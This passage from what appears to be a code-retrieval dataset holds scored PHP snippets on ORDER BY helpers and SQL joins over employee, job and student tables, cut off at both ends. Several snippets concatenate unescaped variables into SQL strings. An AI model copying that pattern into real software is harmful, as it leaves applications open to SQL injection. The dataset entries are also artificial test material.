$this;\n }", "title": "" }, { "docid": "141b94fbd09c869b21dfb1f05cd5e094", "score": "0.5663812", "text": "protected function _buildOrder(){\n $dir = array();\n if(empty($this->orderByCol)){\n return \"\";\n }\n foreach($this->orderByCol as $col => $dirc){\n $c = $this->_formatColumns(array($col));\n $dir[] = \"$c[0] \" . (in_array($dirc, array(\"asc\", \"desc\")) ? $dirc : \"asc\");\n }\n return implode(\", \", $dir);\n }", "title": "" }, { "docid": "5b86fc928d63d277e22f992f111b4849", "score": "0.5657476", "text": "public function findAll($sort = '', $direction = '');", "title": "" }, { "docid": "6db108219fd649ef4cdda76525623f3a", "score": "0.56569153", "text": "function order($expr, $direction = \\Sirel\\Node\\Order::ASC)\n {\n return $this->from()->order($expr, $direction);\n }", "title": "" }, { "docid": "7398a3a3fa509c310f1bb82090e33ae3", "score": "0.5655037", "text": "function lwtv_yikes_archive_sort_order( $query ) {\n\tif ( $query->is_main_query() && ! is_admin() ) {\n\t\t$posttypes = array( 'post_type_characters', 'post_type_shows', 'post_type_actors' );\n\t\t$taxonomies = array( 'lez_cliches', 'lez_gender', 'lez_sexuality', 'lez_tropes', 'lez_country', 'lez_stations', 'lez_formats', 'lez_genres', 'lez_stars', 'lez_triggers', 'lez_actor_gender', 'lez_actor_sexuality' );\n\t\tif ( is_post_type_archive( $posttypes ) || is_tax( $taxonomies ) ) {\n\t\t\t$query->set( 'order', 'ASC' );\n\t\t\t$query->set( 'orderby', 'title' );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0d77052f689772ec47c284d611cb121c", "score": "0.5637476", "text": "public function order_by() {\n\n\t\t# normalize arguments\n\t\t$args = (array) func_get_args();\n\t\tif(count($args) == 1 && is_array($args[0])) {\n\t\t\t$args = $args[0];\n\t\t}\n\n\t\tif($args[0] !== TRUE) {\n\t\t\t$this->order = array_merge($this->order, $args);\n\t\t} else {\n\t\t\t# This allows for overwriting a preexisting order-by setting\n\t\t\tarray_shift($args);\n\t\t\t$this->order = $args;\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "64935ccc98788f2097d1312379f1d19a", "score": "0.56173885", "text": "public function reorder($column = null, $direction = 'asc')\n {\n }", "title": "" }, { "docid": "cf937ab1ac42267654ed48c959d10fe9", "score": "0.56169266", "text": "public function getDirection()\n {\n return $this->direction;\n }", "title": "" }, { "docid": "daeb2a91951c4a36759a5eff9e006237", "score": "0.5613566", "text": "public function getOrderBy(){\n\t\treturn $this->orderBy;\n\t}", "title": "" }, { "docid": "b88331e4985c5368f323c89e23517b76", "score": "0.56103307", "text": "function setSort($column, $order) {\n\t}", "title": "" }, { "docid": "b884e89c361eb5fb58f5fdd0cfc97f52", "score": "0.5607514", "text": "public function setOrderBy(Doctrine_Query_Abstract $query)\n {\n if ($this->options['orderby'] == 'plays') {\n $query->orderBy('SUM(f.UNL_MediaHub_Media.play_count) '.$this->options['order']);\n $query->groupBy('f.id');\n } else {\n $query->orderBy('f.'.$this->options['orderby'].' '.$this->options['order']);\n $query->groupBy('f.id');\n }\n }", "title": "" }, { "docid": "d79deaf2e43611e4dd671ce5d5c65c89", "score": "0.56000644", "text": "public function getOrderBy(){ }", "title": "" }, { "docid": "ccef12f68c53f53d638a1efd4245721b", "score": "0.5589459", "text": "public function orderBy(string $column, string $dir = 'ASC'): Model\n {\n $this->query->orderBy($column, $dir);\n\n return $this;\n }", "title": "" }, { "docid": "fcd71b6f8056475759e562d67760c7e5", "score": "0.5581406", "text": "function wpv_fix_relevanssi_orderby( $query ) {\n\t\t\t$query->set( 'orderby', null );\n\t\t}", "title": "" }, { "docid": "fb12ba01d4df52f8a0015cbc6723fbb0", "score": "0.55781835", "text": "public function sortBy(string $field): void\n {\n if ($this->sortField === $field) {\n $this->sortDirection = $this->sortDirection == 'asc' ? 'desc' : 'asc';\n } else {\n $this->sortField = $field;\n $this->sortDirection = 'asc';\n }\n }", "title": "" }, { "docid": "86bf8c886259a6b21297e17520dd0134", "score": "0.5565713", "text": "public function setDirection( $direction) {\n $this->_direction = $direction;\n return $this;\n }", "title": "" }, { "docid": "39cec2c44634be07b690f41087c64776", "score": "0.5562618", "text": "public function DB_orderby($orden='id', $direccion = 'ASC'){\n $direccion = strtoupper(trim($direccion));\n\n if ($direccion !== ''){\n\t\t\t$direccion = in_array($direccion, array('ASC', 'DESC'), TRUE) ? ' '.$direccion : '';\n }\n\n\t\tif (empty($orden)){\n\t\t\treturn $this;\n }\n\n $db_orderby[] = array('field' => $orden, 'direction' => $direccion);\n $this->db_orderby = array_merge($this->db_orderby, $db_orderby);\n return $this;\n }", "title": "" } ]
f29a2f717a26bf18d382a536663bd167
$sql="SElECT From employe e inner join formationphp.employe a on e.cin= a.cin";
[ { "docid": "8c238dd78cd34d4aaf3a8083f4fa2cd7", "score": "0.0", "text": "function afficherCategory(){\n $sql=\"SElECT * From category\";\n $db = config::getConnexion();\n try{\n $liste=$db->query($sql);\n return $liste;\n }\n catch (Exception $e){\n die('Erreur: '.$e->getMessage());\n }\t\n }", "title": "" } ]
[ { "docid": "fc071b523dcaf7916d1bd9e2e6443216", "score": "0.6245778", "text": "public function adminAppliedJobs($urii)\n{\n\t$detail=$this->db->join(\"applyjob\",\"applyjob.applyjob_employee_id = employer_info.employee_uid\")\n\t->where(\"applyjob.applyjob_jid\", $urii)\n\t->get(\"employer_info\");\n\t$data=array();\n\treturn $detail->result_array();\n\n}", "title": "" }, { "docid": "6c5587dc2fc71826d2ec8a780ac3c180", "score": "0.5963718", "text": "public function selectEmp(){\n //return $sql;\n $query = $this->db->get('empleos');\n return $query->result();\n }", "title": "" }, { "docid": "5b08a559142484109e97e04238ae29fc", "score": "0.59113973", "text": "function getbuscar($codigo_sisin)\n {\n //return $query->row();\n\n $query = $this->db->query('SELECT p.*,e.nombres,e.apellidos FROM proyecto p left join empleado e on (p.id_empleado_tecnico = e.id_empleado) WHERE codigo_sisin = '.$codigo_sisin);\n return $query->row();\n }", "title": "" }, { "docid": "a297df08d79bf6b8da7badd7422b2efb", "score": "0.59017295", "text": "public function selectEmpresas() {\r\n return $this->getDb()->query(\"SELECT E.ID_EMPRESA,E.NOMBRE,E.TELEFONO,E.DIRECCION,concat(U.NOMBRE,concat(' ',U.APELLIDO)) \\\"USUARIO ENCARGADO\\\" ,E.ESTADO FROM EMPRESA E LEFT JOIN USUARIO U ON(E.ID_PERSONA_ENCARGADA=U.IDENTIFICADOR)\");\r\n }", "title": "" }, { "docid": "e2b7fd55b86106af65f092660a7a7bb1", "score": "0.58041286", "text": "function consultar_empleado_empresas_todas(){\r\r\n\t\t$con= new dbConexion();\r\r\n\r\r\n\t\tif($con->conectar()==true){\r\r\n\t\t\t$query = \"SELECT * FROM empleados \r\r\n\t\t\tINNER JOIN empleados_empresa ON empleados.id_empleado = empleados_empresa.id_empleado\r\r\n\t\t\tinner join empresas on empleados_empresa.id_empresa=empresas.id_empresa\r\r\n\t\t\tWHERE empleados.estado = 'ACTIVO' ORDER BY empleados.nombre ASC\";\r\r\n\t\t\t$empleados = mysql_query($query); \t \r\r\n\r\r\n\t\t\tif (!$empleados)\r\r\n\t\t\t\treturn false; \t\t\t\t\t\t\t\t\r\r\n\t\t\telse\t\t\t\t\t\t\t\t\r\r\n\t\t\t\treturn $empleados;\t\t\t\t\t\r\r\n\t\t\t\t\r\r\n\t\t\t}\r\r\n\t\t}", "title": "" }, { "docid": "efee0c8a5357e17948d46072c78fb9d9", "score": "0.57831496", "text": "function sql_query_empenhocontrato($e60_numemp=null,$campos=\"*\",$ordem=null,$dbwhere=\"\"){\n $sql = \"select \";\n if($campos != \"*\" ){\n $campos_sql = split(\"#\",$campos);\n $virgula = \"\";\n for($i=0;$i<sizeof($campos_sql);$i++){\n $sql .= $virgula.$campos_sql[$i];\n $virgula = \",\";\n }\n }else{\n $sql .= $campos;\n }\n $sql .= \" FROM empempenho \";\n $sql .= \" left join empempaut on empempenho.e60_numemp = empempaut.e61_numemp \";\n $sql .= \" left join empautoriza on empempaut.e61_autori = empautoriza.e54_autori \";\n $sql .= \" left join empempenhocontrato on empempenho.e60_numemp = empempenhocontrato.e100_numemp \";\n $sql2 = \"\";\n if($dbwhere==\"\"){\n if($e60_numemp!=null ){\n $sql2 .= \" where empempenho.e60_numemp = $e60_numemp \";\n }\n }else if($dbwhere != \"\"){\n $sql2 = \" where $dbwhere\";\n }\n $sql .= $sql2;\n if($ordem != null ){\n $sql .= \" order by \";\n $campos_sql = split(\"#\",$ordem);\n $virgula = \"\";\n for($i=0;$i<sizeof($campos_sql);$i++){\n $sql .= $virgula.$campos_sql[$i];\n $virgula = \",\";\n }\n }\n return $sql;\n }", "title": "" }, { "docid": "2f6f922e8c29e05c22567194a6210bf0", "score": "0.5778118", "text": "public function mostrarfacturas(){\n$sql = $this->db->query(\"SELECT facturas.*, users.name, users.direccion FROM facturas INNER JOIN users ON facturas.user_id= users.id WHERE users.id = {$this->getUser_Id()}\");\nreturn $sql;\n}", "title": "" }, { "docid": "6ddb5ec29114149566e517e1d1f94db4", "score": "0.5769644", "text": "public function fetchsinglejob($urii)\n{\n\t$detail=$this->db->join(\"reportJob\",\"reportJob.uid = employer_info.employee_uid\")\n\t->where(\"reportJob.id\", $urii)\n\t->group_by('uid')\n\t->get(\"employer_info\");\n\t$data=array();\n\treturn $detail->result_array();\n\n}", "title": "" }, { "docid": "a677e7522533715295003efcd97814df", "score": "0.57537127", "text": "function getInforSpecialJobEmployer($id) {\n $this->db->select('mt_special_jobs_employer.employeremail, mt_special_jobs_employer.employer,mt_special_jobs.jobtitle,mt_special_jobs_employer.emplyerid ');\n $this->db->from('mt_special_jobs_employer');\n $this->db->join('mt_special_jobs', 'mt_special_jobs.emplyerid = mt_special_jobs_employer.emplyerid');\n $array = array('mt_special_jobs.id' => $id, 'mt_special_jobs.actflg' => 1, 'mt_special_jobs_employer.actflg' => 1);\n $this->db->where($array);\n $query = $this->db->get();\n// echo $this->db->last_query();\n// exit;\n if ($query != NULL && $query->num_rows() > 0) {\n return $query->row_array();\n }\n return FALSE;\n }", "title": "" }, { "docid": "679c18e94cf1d5108d98390613efbd13", "score": "0.5718716", "text": "public function viewleavesuper(){\r\n\t$sql=\"SELECT * FROM leave_application INNER JOIN employee_details ON lstaff_id=staff_id WHERE adminapproved IS NOT NULL and hrapproved IS NULL;\" ;\r\n\t$result=$this->conn->query($sql);\r\n\twhile($row[] = $result->fetch_assoc()){\r\n\t\t\t\t\r\n\t\t\t} \r\nreturn $row;\r\n}", "title": "" }, { "docid": "8c6d04c998286953a2c5e7144d211d08", "score": "0.57162166", "text": "public function geEtudiantByMotCles($idMotCles){\n\n $requete_prepare = $this->connexion->prepare(\n \"SELECT *\n FROM MotCles_etudiant me\n INNER JOIN Etudiant e\n ON me.idEtudiant = e.id\n where me.idMotCles = :idMotCles\");\n $requete_prepare->execute(array(\"idMotCles\"=>$idMotCles));\n\n $resultat = $requete_prepare->fetchObject(\"Etudiant\");\n return $resultat;\n\n}", "title": "" }, { "docid": "93b270b3526246da49c5a5f3ffea087b", "score": "0.5712266", "text": "function LeerDatos($idexamen)\r\n{\r\n $con = new ConexionBD;\r\n if($con->conectar()==true)\r\n {\r\n $query = \"SELECT NombreArea,NombreExamen \r\n\t\t\t FROM lab_examenes b\r\n\t\t\t INNER JOIN lab_areas AS c ON b.IdArea=c.IdArea\r\n\t\t\t WHERE b.IdExamen='$idexamen'\";\r\n $result = @mysql_query($query);\r\n if (!$result)\r\n return false;\r\n else\r\n return $result;\r\n }\r\n}", "title": "" }, { "docid": "b0ab7b5b411da6eed6375e121b3d9533", "score": "0.56962043", "text": "public function getEntrepriseByMotCles($idMotCles){\n\n $requete_prepare = $this->connexion->prepare(\n \"SELECT *\n FROM MotCles_entreprise me\n INNER JOIN Entreprise e\n ON me.idEntreprise = e.id\n where me.idMotCles = :idMotCles\");\n $requete_prepare->execute(array(\"idMotCles\"=>$idMotCles));\n\n $resultat = $requete_prepare->fetchObject(\"Entreprise\");\n return $resultat;\n\n}", "title": "" }, { "docid": "ff9cf3fa11050806d0a08a4deae04c0a", "score": "0.56638753", "text": "function chemistryIITA(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=43\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "8ff1d392646d490e8f539f66b9b12d2e", "score": "0.56593156", "text": "public function adminReportJobs($urii)\n{\n\t$detail=$this->db->join(\"reportJob\",\"reportJob.uid = employer_info.employee_uid\")\n\t->where(\"reportJob.jid\", $urii)\n\t->group_by('uid')\n\t->get(\"employer_info\");\n\t$data=array();\n\treturn $detail->result_array();\n\n}", "title": "" }, { "docid": "c6da7c788508e683bf76b388b4426453", "score": "0.56312096", "text": "public function todasfacturas(){\n$facturas = $this->db->query(\"SELECT facturas.*, users.name FROM facturas INNER JOIN users ON facturas.user_id = users.id\");\nreturn $facturas;\n}", "title": "" }, { "docid": "eef18b0fbfc74b75cb021a0a17a0a070", "score": "0.5629709", "text": "function queryListaSegnalanti ($utente_segnalato, $id_cinguettio ){\n \n $sql = 'SELECT nickname ' .\n 'FROM segnala_testo NATURAL JOIN utente ' .\n 'WHERE utente_segnalato=' .\n \"'\" . $utente_segnalato . \"'\" . ' AND ' .\n 'id_cinguettio=' . $id_cinguettio;\n \n return $sql;\n \n}", "title": "" }, { "docid": "b0d3ec6b7ec3990c26d090cc979bbd63", "score": "0.5603346", "text": "function select_all_from_employee(){\n\t\t\n\t global $db; \n\t\t$query = \"SELECT * FROM \";\n\t\t$query .= \" employee ;\";\n\t\t$employee = $db->query($query);\n\t\t \n\t return $employee;\n\t\t\t\n\t\t}", "title": "" }, { "docid": "a75b7e5d6bf4fb4e2fbf2c9d9b4c78cb", "score": "0.55994064", "text": "function innerJoin3table($selected_rows, $table1, $table2, $table3, $Column_equal_to, $Column_equal_to2, $where) {\n $innerJion3 = $this->dataBade->innerJoion(\"SELECT \". $selected_rows.\" FROM \". $table1 .\" INNER JOIN \" .$table3.\" ON \". $Column_equal_to .\" INNER JOIN \" .$table2.\" ON \". $Column_equal_to2. \" WHERE \". $where);\n return $innerJion3;\n\n}", "title": "" }, { "docid": "05e3842af90fc7a65f020d2c98dced49", "score": "0.5581487", "text": "function datos_bioanalista($ced)\r\n\t{\r\n\t \t$sql=\"SELECT DISTINCT \r\n\t\t slc_empleado.ced_empleado, slc_empleado.nom1_empleado, slc_empleado.nom2_empleado,\r\n\t\t slc_empleado.ape1_empleado, slc_empleado.ape2_empleado, \r\n\t\t slc_empleado.mpps_empleado, slc_empleado.coleg_empleado\r\n\t\t FROM slc_empleado\r\n\t\t WHERE slc_empleado.ced_empleado='$ced' \r\n\t\t and slc_empleado.status_empleado='A'\";\r\n\t\t//echo $sql;\r\n\t\t$result=mysql_query($sql,$this->conexion);\r\n \t\treturn $result;\r\n\t}", "title": "" }, { "docid": "b16d89d45c601210624523e9d6248f78", "score": "0.55769986", "text": "public function getProjetByMotCles($idMotCles){\n\n $requete_prepare = $this->connexion->prepare(\n \"SELECT *\n FROM MotCles_projet me\n INNER JOIN Projet e\n ON me.idProjet = e.id\n where me.idMotCles = :idMotCles\");\n $requete_prepare->execute(array(\"idMotCles\"=>$idMotCles));\n\n $resultat = $requete_prepare->fetchObject(\"Projet\");\n return $resultat;\n\n}", "title": "" }, { "docid": "9471189f77954b8e7d79dc4ff635cb30", "score": "0.55388343", "text": "function chemistryMsc2P2A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=308\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "d012c33ce9c03c5d9512be923bc847e9", "score": "0.5536803", "text": "public function affichejoueur(){\n $sql =\"SELECT user.numuser,user.prenom,user.nom,score.score FROM user INNER JOIN score where user.numuser = score.numuser\";\n $stmt =$this->conn->prepare($sql);\n $stmt->execute();\n $result = $stmt->fetchAll(PDO::FETCH_ASSOC);\n return $result;\n\n }", "title": "" }, { "docid": "8f1aac5aab311d693d8d5cd6b569f950", "score": "0.5528064", "text": "public function productocall(){\n$sql = $this->db->query(\"SELECT productos.*, categorias.nombre_categoria \nFROM productos INNER JOIN categorias ON categorias.id = productos.categoria_id \nWHERE productos.categoria_id = {$this->getId()}\"); \n\nreturn $sql;\n}", "title": "" }, { "docid": "4fc4f6ac4c26dc164e728e2579822946", "score": "0.5521624", "text": "public function getJobs($conn){\n $res = $conn -> Select(\"SELECT * FROM users U INNER JOIN jobs J ON U.userID = J.userID\");\n\n return $res;\n }", "title": "" }, { "docid": "b0457cc5ab360ccd6afd3aff3ad15efa", "score": "0.55212194", "text": "function selectWithJoin($gewenstecolumen = '*',$eersteTabel,$tweedeTable,$on,$where = \"1=1\",$values = array()){\n $sql = $GLOBALS['con']->prepare(\"select $gewenstecolumen from $eersteTabel join $tweedeTable\n on $on where {$where};\");\n $sql->execute($values);\n $row=$sql->fetchAll(PDO::FETCH_ASSOC);\n return $row;\n}", "title": "" }, { "docid": "05e49f353f6f6bb231999bbbbd9d0e09", "score": "0.551907", "text": "function chemistryMsc2P5A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=323\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "c1e16f66a5fba60251ad18a9a8de1eb2", "score": "0.5515674", "text": "function sql_query_txt($e81_codmov = null, $campos = \"*\", $ordem = null, $dbwhere = \"\") {\n\t\t$sql = \"select \";\n\t\tif ($campos != \"*\") {\n\t\t\t$campos_sql = split ( \"#\", $campos );\n\t\t\t$virgula = \"\";\n\t\t\tfor($i = 0; $i < sizeof ( $campos_sql ); $i ++) {\n\t\t\t\t$sql .= $virgula . $campos_sql [$i];\n\t\t\t\t$virgula = \",\";\n\t\t\t}\n\t\t} else {\n\t\t\t$sql .= $campos;\n\t\t}\n\t\t$sql .= \" from empagemov \";\n\t\t$sql .= \" inner join empagemovforma on empagemovforma.e97_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" inner join empage on empage.e80_codage = empagemov.e81_codage \";\n\t\t$sql .= \" inner join empagepag on empagepag.e85_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" inner join empagetipo on empagetipo.e83_codtipo = empagepag.e85_codtipo \";\n\t\t$sql .= \" inner join conplanoreduz on conplanoreduz.c61_codcon in (select c61_codcon from conplanoreduz where c61_reduz = empagetipo.e83_conta)\";\n\t\t$sql .= \" and conplanoreduz.c61_anousu = \" . db_getsession ( \"DB_anousu\" );\n\t\t$sql .= \" and conplanoreduz.c61_instit = \" . db_getsession ( \"DB_instit\" );\n\t\t$sql .= \" inner join conplanoconta on conplanoconta.c63_codcon = conplanoreduz.c61_codcon \";\n\t\t$sql .= \" and conplanoconta.c63_anousu = conplanoreduz.c61_anousu \";\n\t\t$sql .= \" inner join conplanocontabancaria on conplanocontabancaria.c56_codcon = conplanoconta.c63_codcon \";\n\t\t$sql .= \" and conplanocontabancaria.c56_anousu = conplanoconta.c63_anousu \";\n\t\t$sql .= \" inner join contabancaria on contabancaria.db83_sequencial = conplanocontabancaria.c56_contabancaria \";\n\t\t$sql .= \" inner join empageconf on empageconf.e86_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" left join empageconfgera on empageconfgera.e90_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" inner join empempenho on empempenho.e60_numemp = empagemov.e81_numemp \";\n\t\t$sql .= \" inner join orcdotacao on orcdotacao.o58_coddot = empempenho.e60_coddot \";\n\t\t$sql .= \" and orcdotacao.o58_anousu = empempenho.e60_anousu \";\n\t\t$sql .= \" inner join orcunidade on orcunidade.o41_unidade = orcdotacao.o58_unidade \";\n\t\t$sql .= \" and orcunidade.o41_orgao = orcdotacao.o58_orgao \";\n\t\t$sql .= \" and orcunidade.o41_anousu = orcdotacao.o58_anousu \";\n\t\t$sql .= \" inner join orcorgao on orcorgao.o40_orgao = orcunidade.o41_orgao \";\n\t\t$sql .= \" and orcorgao.o40_anousu = orcunidade.o41_anousu \";\n\t\t$sql .= \" inner join orctiporec on orctiporec.o15_codigo = orcdotacao.o58_codigo \";\n\t\t$sql .= \" inner join empord on empord.e82_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" inner join pagordem on pagordem.e50_codord = empord.e82_codord \";\n\t\t$sql .= \" inner join pagordemele on pagordem.e50_codord = pagordemele.e53_codord \";\n\t\t$sql .= \" left join empagemovconta on empagemovconta.e98_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" left join pcfornecon on pcfornecon.pc63_contabanco = empagemovconta.e98_contabanco \";\n\t\t$sql .= \" left join cgm on cgm.z01_numcgm = pcfornecon.pc63_numcgm \";\n\t\t$sql .= \" left join saltes on saltes.k13_conta = empagetipo.e83_conta \";\n\t\t$sql .= \" left join empagedadosretmov on empagedadosretmov.e76_codmov = empagemov.e81_codmov \";\n\t\t$sql .= \" left join empagemovtipotransmissao on e25_empagemov = empagemov.e81_codmov \";\n\t\n\t\t$sql2 = \"\";\n\t\tif ($dbwhere == \"\") {\n\t\t\tif ($e81_codmov != null) {\n\t\t\t\t$sql2 .= \" where empagemov.e81_codmov = $e81_codmov \";\n\t\t\t}\n\t\t} else if ($dbwhere != \"\") {\n\t\t\t$sql2 = \" where $dbwhere\";\n\t\t}\n\t\t$sql .= $sql2;\n\t\tif ($ordem != null) {\n\t\t\t$sql .= \" order by \";\n\t\t\t$campos_sql = split ( \"#\", $ordem );\n\t\t\t$virgula = \"\";\n\t\t\tfor($i = 0; $i < sizeof ( $campos_sql ); $i ++) {\n\t\t\t\t$sql .= $virgula . $campos_sql [$i];\n\t\t\t\t$virgula = \",\";\n\t\t\t}\n\t\t}\n\t\treturn $sql;\n\t}", "title": "" }, { "docid": "e04aeefca18b6a6740d905cd695befc2", "score": "0.5510046", "text": "function consultarCampana(){\n $sentencia = $this->cnn->prepare(\"SELECT * FROM campana C INNER JOIN smartphone S ON C.id_smartphone = S.id_smartphone WHERE C.estado = 4\");\n $sentencia->execute();\n $consulta = $sentencia->fetchAll(PDO::FETCH_OBJ);\n return $consulta;\n }", "title": "" }, { "docid": "bc3b37f1e3cddc97020204af03e88202", "score": "0.5499746", "text": "function getEtrepriseMotCles($idEtreprise) {\n\n $requete_prepare=$this->connexion->prepare(\n \"SELECT nom FROM MotCles m\n INNER JOIN MotCles_entreprise\n ON idMotCles = m.id\n WHERE idEntreprise = :id\");\n\n $requete_prepare->execute(\n array(\"id\"=> $idEtreprise));\n\n $motClesEntreprise = $requete_prepare->fetchAll(PDO::FETCH_OBJ);\n\n return $motClesEntreprise;\n\n}", "title": "" }, { "docid": "82dbbeb666d803b156c14ec244f201cd", "score": "0.54975325", "text": "function chemistryMsc2P1A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=303\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "f516bf31a023c8bea2ddc7cda32b3033", "score": "0.5474097", "text": "function chemistry11A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=13\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "e5db75ce3d0d74d4e824ba16d19514f5", "score": "0.5468161", "text": "function afficherMaisons(mysqli $bdd) {\n \n $query = 'SELECT * FROM maison NATURAL JOIN proprietaire NATURAL JOIN adresse NATURAL JOIN ville NATURAL JOIN departement NATURAL JOIN region WHERE Id_Utilisateur = ' . $_SESSION['id'] . '';\n \n return mysqli_query($bdd, $query);\n \n}", "title": "" }, { "docid": "2c4c1e28707befc53080ef024a191e11", "score": "0.54620636", "text": "function empleados()\n{\n\t$sql = $this->query(\"select * from nomi_empleados where activo=-1\");\n\treturn $sql;\n}", "title": "" }, { "docid": "267c8ffbcf34d088a9a0f66fe05fa5f1", "score": "0.54618645", "text": "public function listar(){\n$sql = \"SELECT i.idingreso, DATE(i.fecha_hora) as fecha, i.idproveedor, p.nombre as proveedor, u.idusuario,u.nombre as usuario, i.tipo_comprobante, i.serie_comprobante,i.num_comprobante, i.total_compra, i.impuesto,i.estado\nFROM ingreso i \nINNER JOIN persona p \nON i.idproveedor = p.idpersona \nINNER JOIN usuario u\nON i.idusuario = u.idusuario\nORDER BY i.idingreso desc\";\nreturn ejecutarConsulta($sql);\n}", "title": "" }, { "docid": "9940e0f13ec1d9a77d2ae40351baa3ef", "score": "0.5447424", "text": "function chemistryBsc2P2A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=133\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "9c1e12b5d33244fcfdf1596f87b92c48", "score": "0.54427207", "text": "function chemistry12A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=28\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "6315ce46282c4bcdee50414df8a64538", "score": "0.54362077", "text": "public function actionSql()\n {\n $data = new Employer();\n $data->SQL();\n }", "title": "" }, { "docid": "ea083863b2a75cb0304a805d3bfd35a0", "score": "0.54259396", "text": "function chemistryMsc1P2A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=233\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "3b77cc48b241e2fb12dd8cc263c8e9be", "score": "0.5421899", "text": "public function getEmployeeList() {\n $userid = Session::get('LAD_user_id');\n $users = UsersModel::where('id',$userid)\n ->first();\n $organization = $users->organization;\n return DB::table('users')\n ->where('employee_of','=',$userid)\n ->join('user_occupations','users.occupation','=','user_occupations.id')\n ->orderBy('users.name','asc')\n ->select('users.*','user_occupations.name as occuname')\n ->get();\n }", "title": "" }, { "docid": "14b0f0c4145baae9265a38690451842c", "score": "0.54082245", "text": "function chemistryMsc1P4A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=243\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "3159c5dcab45b8cd026ad4676a685e17", "score": "0.5405917", "text": "public function jobDetails()\r\n\t{\t\r\n\t\t//$where = array('blg.id' => $this->input->post('blog_id'));\r\n\t\t\r\n\t\t//print_r($qWhere); die();\r\n\t\t$this->db->select ( 'jb.*,emp.status AS sts, emp.id as empid, emp.company_name');\r\n\t\t$this->db->from ( 'jobs jb' );\t\t\t\t\r\n\t\t$this->db->join ( 'lang_company emp', 'jb.company_id = emp.id' , 'left' );\r\n\t\t$this->db->order_by ('jb.id','DESC');\r\n\t\t//$this->db->where($where);\r\n\t\t\r\n\t\t$query = $this->db->get ();\r\n\t\t$aResults = $query->result ();\t\t\t\r\n\t\treturn $aResults;\r\n\t}", "title": "" }, { "docid": "640f267afb0ff165b328087d4fa8d426", "score": "0.54052263", "text": "function getEmpl($id){\n global $con;\n $sql=\"SELECT serv.*,members.* FROM serv\n INNER JOIN members on members.serv_id=serv.id\nwhere members.status=1 and serv.id=\".$id.\" \";\n//prepare the sql\n$stmt=$con->prepare($sql);\n//execute the query\n$stmt->execute();\n//fetch the data\n$fetch=$stmt->fetchall();\n\n//return fetch\nreturn $fetch;\n}", "title": "" }, { "docid": "529f9b85369a4b0c6a720fb651edae6b", "score": "0.5402763", "text": "function innerJoin3table($selected_rows, $table1, $table2, $table3, $Column_equal_to, $Column_equal_to2, $where) {\n $innerJion3 = $this->DB->innerJoion(\"SELECT \". $selected_rows.\" FROM \". $table1 .\" INNER JOIN \" .$table3.\" ON \". $Column_equal_to .\" INNER JOIN \" .$table2.\" ON \". $Column_equal_to2. \" WHERE \". $where);\n return $innerJion3;\n\n}", "title": "" }, { "docid": "ca4c80e21f93cd8c69799a6e34e265f2", "score": "0.5401424", "text": "function getJoinEventAbsenIns(){\n\t\t$this->db->distinct();\n\t\t$this->db->order_by('tglmulai','desc');\n\t\t$this->db->select('training,tglmulai,tglakhir,a.frametext_id');\n\t\t$this->db->from('t_absensi_evaluasi_instruktur_materi a');\n\t\t$this->db->join('announcetv_frametext b', 'a.frametext_id = b.frametext_id');\n\t\t\n\t\t$query = $this->db->get();\n\t\treturn $query->result();\n\t}", "title": "" }, { "docid": "85ecde819feef3dcc42c022055c26639", "score": "0.54003084", "text": "public function getEmployeeData()\n {\n return Employee::leftjoin('companies','companies.id','=','employees.company')->select('employees.*','companies.name as company_name','employees.email as employee_email')->paginate(10);\n }", "title": "" }, { "docid": "f4351758a64717081fb502327598f9da", "score": "0.5399347", "text": "public function viewleave(){\r\n\t$sql=\"SELECT * FROM leave_application INNER JOIN employee_details ON lstaff_id=staff_id WHERE adminapproved IS NULL;\" ;\r\n\t$result=$this->conn->query($sql);\r\n\twhile($row[] = $result->fetch_assoc()){\r\n\t\t\t\t\r\n\t\t\t}\r\nreturn $row;\r\n}", "title": "" }, { "docid": "a6446f92a4e6c25de3a310137aadde5e", "score": "0.53953713", "text": "public function employe()\n {\n return $this->belongsTo('App\\Employe','employe_id');\n }", "title": "" }, { "docid": "c03c78f67f82c26baccc451aee3d6802", "score": "0.53940856", "text": "private function getEmpQuery()\n\t {\n\t\t if ($this->input->post('fullname')) {\n\t\t\t $this->db->like('concat_ws(\" \", e.firstname, e.surname)', $this->input->post('fullname'), 'both');\n\t\t }\n\t\t if ($this->input->post('cadre')) {\n\t\t\t $this->db->like('e.cadre', $this->input->post('cadre'), 'both');\n\t\t }\n\t\t if ($this->input->post('contact')) {\n\t\t\t $this->db->like('e.mobile', $this->input->post('contact'), 'both');\n\t\t }\n\t\t if ($this->input->post('facility')) {\n\t\t\t $this->db->like('e.facility', $this->input->post('facility'), 'both');\n\t\t }\n\t\t if ($this->input->post('district')) {\n\t\t\t $this->db->like('e.district', $this->input->post('district'), 'both');\n\t\t }\n \n\t\t $this->db->select(array('e.pid', 'concat_ws(\" \", e.firstname, e.surname , e.othername) as fullname', 'e.gender', 'e.email', 'e.mobile', 